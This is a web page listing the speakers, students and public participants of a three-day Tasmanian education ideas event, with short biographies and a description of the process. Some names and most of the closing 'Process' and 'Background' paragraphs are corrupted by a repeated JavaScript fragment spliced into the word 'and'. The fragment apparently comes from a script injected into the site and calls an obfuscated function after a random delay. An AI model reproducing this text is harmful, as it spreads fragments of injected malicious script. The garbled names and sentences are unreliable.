The Sessions




SESSION 1 is a showcase of selected educators, thinkers, doers and achievers.


    Professor of Management in Innovation, University of Tasmania

    A graduate of the Universities of Tasmania, Sheffield and Melbourne, David has been instrumental in developing health policy initiatives. His major fields of research concern the locality drivers of innovation and leadership in the public, private and community sectors. He has published extensively in public policy and management focusing on local governance and its links to innovation and wellbeing.

  • Professor Dirk Balztly

    Professor of Philosophy, University of Tasmania

    Dirk Baltzly is Professor of Philosophy at University of Tasmania and Adjunct Professor (Research) at Monash University. He holds a PhD in Philosophy from Ohio State University and a second PhD in Classics from Monash University. One focus of his research on the late Roman Empire has been the question of paideia or ‘higher education’.

  • John Daley

    Chief Executive, Grattan Institute

    John Daley is the inaugural Chief Executive of Grattan Institute, which provides independent, rigorous and practical solutions to Australia’s most pressing public policy issues. John’s work at Grattan Institute has focused on economic and budgetary reform with a particular interest in government prioritisation. He has 25 years’ experience spanning policy, academic, government and corporate roles.

  • Elizabeth Daly OAM

    Chair, Tasmanian Early Years Foundation

    Elizabeth Daly is a semi-retired senior educator with over 50 years of experience in the education sector as a teacher, principal and senior superintendent. She has acted as Commissioner for Children, worked and volunteered in the community sector with the Smith Family and Colony47 and is currently Chair of the Tasmanian Early Years Foundation and Youth Futures Inc.

  • Saul Eslake


    Saul Eslake has almost thirty years’ experience as an economist working in the Australian financial markets, including 14 years as Chief Economist at ANZ and, more recently, 3 years as Chief Economist (Australia and New Zealand) for Bank of America Merrill Lynch. He has also worked for the Grattan Institute and runs his own consulting business.

  • Leon Ewing


    A musician and media artist who works with young people in remote or regional communities and in tough urban environments, Leon has used art and technology to incentivise attendance and improve literacy. He is currently lecturing at Murdoch University in using tablet technology to deliver the new national arts curriculum in music and new media.

  • David Gilkes

    Kindergarten Teacher, Illawarra Primary School, Department of Education

    A passionate early childhood educator for 22 years, David has worked in various government and independent schools, including a period of time as Director of the Early Learning Centre at Canberra Grammar School. He is currently convenor of the Tasmanian Reggio Emilia Network and is a recipient of a National Excellence in Teaching Award for innovation in Early Childhood.

  • Ian Hewitt

    Coordinator, Young Migrant Adult English Program, TasTAFE

    Ian has been teaching for over 20 years. His current role at TasTAFE is teaching students from migrant, refugee and asylum seeker backgrounds and has seen him be a vocal advocate for an intensive English language centre for youth from Culturally Linguistic and Diverse Backgrounds (CALD). He currently coordinates the Young Migrant Adult English Program (Y-MEP) at TasTAFE.

  • Helen Hortle

    Coordinator, A Fairer World

    Helen’s passion is the value that authentic engagement with social justice and global perspectives can bring to improving learning outcomes, for both employability and citizenship. Her role has involved developing and delivering a uniquely Tasmanian diversity education program that aims to make schools safer and more inclusive environments. Helen’s diverse background includes experience and qualifications in education, social science and accounting.

  • Greg Lehman

    Research Associate, Australian National University’s Centre for Indigenous Studies

    A regular contributor to public discourse on Tasmanian identity and history, Greg has spent most of his life encouraging the recognition and understanding of Tasmania’s Aboriginal culture and heritage. He has served on a number of boards and is currently Research Associate at the Australian National University’s Centre for Indigenous Studies, investigating the role of deficit discourse in educational outcomes.

  • Nick Probert

    Tasmanian State Manager, Beacon Foundation

    Nick came to the Beacon Foundation after a successful career working with young people in a range of high performance and community coaching and management positions. The Beacon Foundation assists youth from around the state by partnering with secondary schools to engage business and industry to play a stronger role in assisting schools with their education.

  • James Riggall

    Managing Director, Bitlink

    James spent five years at the HITLab teaching courses in virtual reality, augmented reality, entrepreneurship and video game design and went on to establish Bitlink – a technology consultancy and software development house. James also serves as a director of Startup Tasmania, a not-for-profit organisation and networking group for Tasmanian entrepreneurs.

  • Professor Michael Rowan

    Adjunct Professor, University of Tasmania

    Michael’s main interests as a philosophy academic were reasoning in natural language and the philosophy of science, but most of his university career was spent in academic management. Today his interest is in improving opportunities and educational outcomes for young Tasmanians, strengthening support for education in all communities and breaking the acceptance that Tasmania will always lag behind the other states.

  • Joanna Siejka

    CEO, Youth Network of Tasmania

    As CEO of the Youth Network of Tasmania – the peak body for the youth sector and young people in Tasmania, Joanna provides input into and responds to policy direction, advocates for the youth sector and lobbies for the needs and initiatives of young people. She has specific interests in the areas of education, homelessness, employment and youth justice.

  • Miriam Vandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andenberg (Herzfeld)

    Population Health and Health Promotion Consultant

    Miriam has worked in the community sector, for the University of Tasmania, and for both local and state governments in public and environmental health, health promotion and primary health. Her roles have enabled her to work within local communities and at a population level to help improve and strengthen the determinants of health and wellbeing.

  • Professor Alison Venn

    Menzies Institute for Medical Research, University of Tasmania

    Alison is Deputy Director of the Menzies Institute for Medical Research and leads its Public Health and Primary Care research theme. Her broad research interest spans the molecular and social determinants of health and as Director of the Tasmanian Cancer Registry and the Tasmanian Data Linkage Unit leads the Childhood Determinants of Adult Health study.


SESSION 2 features the students, the young creative thinkers, the people who are next in line to pick up the challenge.

  • Simon Ancher

    Program Director – Furniture Design, University of Tasmania

    In his current role at the University of Tasmania, and through his practice, Simon Ancher Studio, Simon has developed his own furniture range as well as undertaking commission work including public art and seating. His current focus has seen a shift to more collaborative work and finding ways to upscale production and deal with the manufacturing end of making furniture. 

  • Josh Bryant-Bennett


    A year 11 student at Claremont College, Josh is passionate about all students having an equal opportunity to succeed during and prior to their senior secondary education. In the future Josh hopes to pursue a career in business and law to educate the community, as well as help those he encounters in the process.
  • Samantha Blackler

    Advanced Diploma Student - Information Technology, TasTAFE

    Sam came to Tasmania five years ago from South Africa. She is currently studying computing with a focus on the field of user experience, while also working as Practice Manager at a physiotherapy clinic.

  • Talitha Devadass

    Acting Tasmanian Director, Oaktree

    Talitha is passionate about uncovering youth aspirations and potential. Graduating from the University of Tasmania with a combined Bachelor of Business and Arts, Talitha’s current roles as Beacon’s Southern Business Engagement Manager and Acting Tasmanian Director of Oaktree has seen her facilitate interactive leadership and work readiness sessions for hundreds of young Australians. 

  • Michael Cordover

    Commercial Lawyer, M+K dobson mitchell allport lawyers

    After graduating from the University of Tasmania with a combined Bachelor of Science and Bachelor of Laws with a science major in pure mathematics, Michael became a commercial lawyer specialising in intellectual property and privacy law. Michael is on the board of the Hobart Community Legal Service and has a long history with by-youth, for-youth programs.



    A year 10 student at Ogilvie High School, Juliah is passionate about education. Juliah participates in a program called Big Picture, which facilitates workplace internships where she studies a topic using research and hands-on activities. Her plan is to work in the area of science and medicine in a field that impacts on the lives of other people.

  • Alyssa Geddes

    Community Sports Link Coordinator, Special Olympics Tasmania

    Being extremely passionate about equality, inclusion and advocacy within the community, Alyssa studied disability at TasTAFE. On graduation she was offered the role of Community Sports Link Coordinator for Special Olympics Tasmania, delivering fun, inclusive and friendly sporting programs for individuals who live with a disability. Alyssa also works for disability service organisations as a support worker.

  • Lauren Gower

    Masters by Research Candidate (Philosophy), University of Tasmania

    Lauren is studying a Masters by Research in Philosophy at University of Tasmania and working as a research assistant with the University of Tasmania Tasmanian Institute for Learning and Teaching. In addition, she works as a tutor at University of Tasmania for the Indigenous Tutorial Assistance Scheme and has also been working as a mentor for Aboriginal and Torres Strait Islander high school students.

  • Dakoda Leary

    Tasmanian Youth Forum

    An Elizabeth College student, Dakoda also volunteers for local youth groups such as the Glenorchy Youth Task Force and is an ambassador for Youth Homelessness Matters Day. Dakoda hopes to become a freelance writer/journalist and believes that to make the world a better place, everyone needs to pitch in rather then turn a blind eye to what’s in front of them.

  • Joshua Lowe

    Artistic Director, DRILL Performance Company

    A Tasmanian-born dancer, choreographer and producer, Joshua is regularly engaged as a choreographer for professional, youth and community-based works. He formed youth dance company DRILL and regularly works for Tasdance, delivering their Education Performance Projects and DanceNET program in schools. Joshua has been awarded both the Bokprint Arts and Cultural Development Award and The Premier’s Young Achiever of the Year Award.

  • Adam Mostogl

    Founder/Inspirer, illuminate Education & Consulting

    In a given week Adam might be helping young entrepreneurs kick-start their companies, stimulating small businesses to challenge the status quo, challenging communities to understand their potential or teaching students to embrace innovation for problem solving. Adam is the 2015 Tasmanian Young Australian of the Year for his education endeavours as well as his work generating positive momentum in Queenstown.

  • Tegan Pearce

    Tasmanian Youth Forum Policy and Project Officer, Youth Network of Tasmania

    Tegan has worked on many local and national youth-led projects to address key issues including mental health, drug and alcohol use. Tegan currently works at the Youth Network of Tasmania as the Policy and Project Officer of the Tasmanian Youth Forum, the peak consultative body for young Tasmanians that addresses a wide range of topics including education, employment and youth homelessness.

  • Nunami Sculthorpe-Green

    Tasmanian Aboriginal Community Member

    Nunami is a palawa (Tasmanian Aboriginal)/warlpiri student at the University of Tasmania. Since 2012 Nunami has been the Indigenous Cadet at the Tasmanian Museum and Art Gallery, designing and producing Tasmanian Aboriginal cultural and historical educational resources and public programming. She is passionate about the education of the wider community on Tasmanian Aboriginal history, heritage and culture.

  • Briar Walker

    Tasmanian Youth Forum

    Briar is in year 12 and is passionate about youth representation and advocating for equality and human rights. She has been involved in the Youth Network of Tasmania and Model United Nations programs and has also been involved in the Youth Parliament program for the last 3 years. Briar hopes to eventually work as a human rights lawyer or neuroscientist. 

  • Lauren Ward

    2015 John Monash Scholar, University of Tasmania

    A University of Tasmania graduate with First Class Honours in Engineering, Lauren is currently working as part of a CSIRO eHealth project. A keen science communicator and senior member of the University of Tasmania STEM Education and Outreach Team, Lauren has been a part of Young Tassie Scientists, as well as a number of University and Inspiring Australia school outreach programs.

  • Sam Zoltanski

    Huon Valley News Community Reporter and Multimedia Designer

    Samantha graduated from Missouri Southern State University with a Bachelor of Arts in Mass Communications and Public Relations. Nominated for an internship with a regional newspaper company in Australia, Sam secured a full-time position with the Huon Newspaper Company. Samantha is also Chairperson for the Huon Valley’s Beacon Foundation’s Business Partnership Group, working with local businesses and schools.


SESSION 3 represents the voice of the public, as chosen by the people of Tasmania.

  • Liz Bennett


  • Jannet de Bruyn


  • Andrea Dawkins


  • Allyson Ekin

    Blackmans Bay

  • Pirjo Elliott


  • Malcolm Hales

    East Launceston

  • Nick Haslam


  • Roslyn Hunt

    Sandy Bay

  • Dr Lila Landom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andowski

    North Hobart

  • Grant MacDonald

    Squeaking Point

  • Rossi Marshall


  • Bill Mulford

    Sandy Bay

  • Christopher Nichols


  • Betty Nolan


  • Megan Richardson

    Acton Place

  • Professor John Williamson



The Process

Over three days, three groups of thinkers came together to generate twelve inspiring ideas to challenge the future of education in Tasmania.


Tony Richardson is an experienced facilitator, consultant, author andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and public speaker. He works in communities andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and organisations that are trying to improve their whole system. He operates out of a belief that where leaders are committed to this, are prepared to involve everybody andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and don’t need to control andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and know everything, the capacity of people to increase good sense, humanity, value andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and output is ‘damned near infinite’.


A team of ‘Rovers’ helped turn conversation into action by providing information that drew on their area of experience. Led by Matt Fishburn, Managing Director Clemenger/OMD Tasmania andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and Marcus Murphy, Creative Director Clemenger Tasmania, the Rovers’ skills encompass a range of disciplines including:

The Background

Before imagining a different future, the thinkers received a shared understandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}anding of the challenges andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and opportunities for education in Tasmania.

This background was prepared by accomplished Tasmanian journalist andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and experienced communications consultant Mike Lester. He has done so with input andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and guidance by University of Tasmania academic leaders andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and researchers, along with the Hothouse partners andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and sponsors.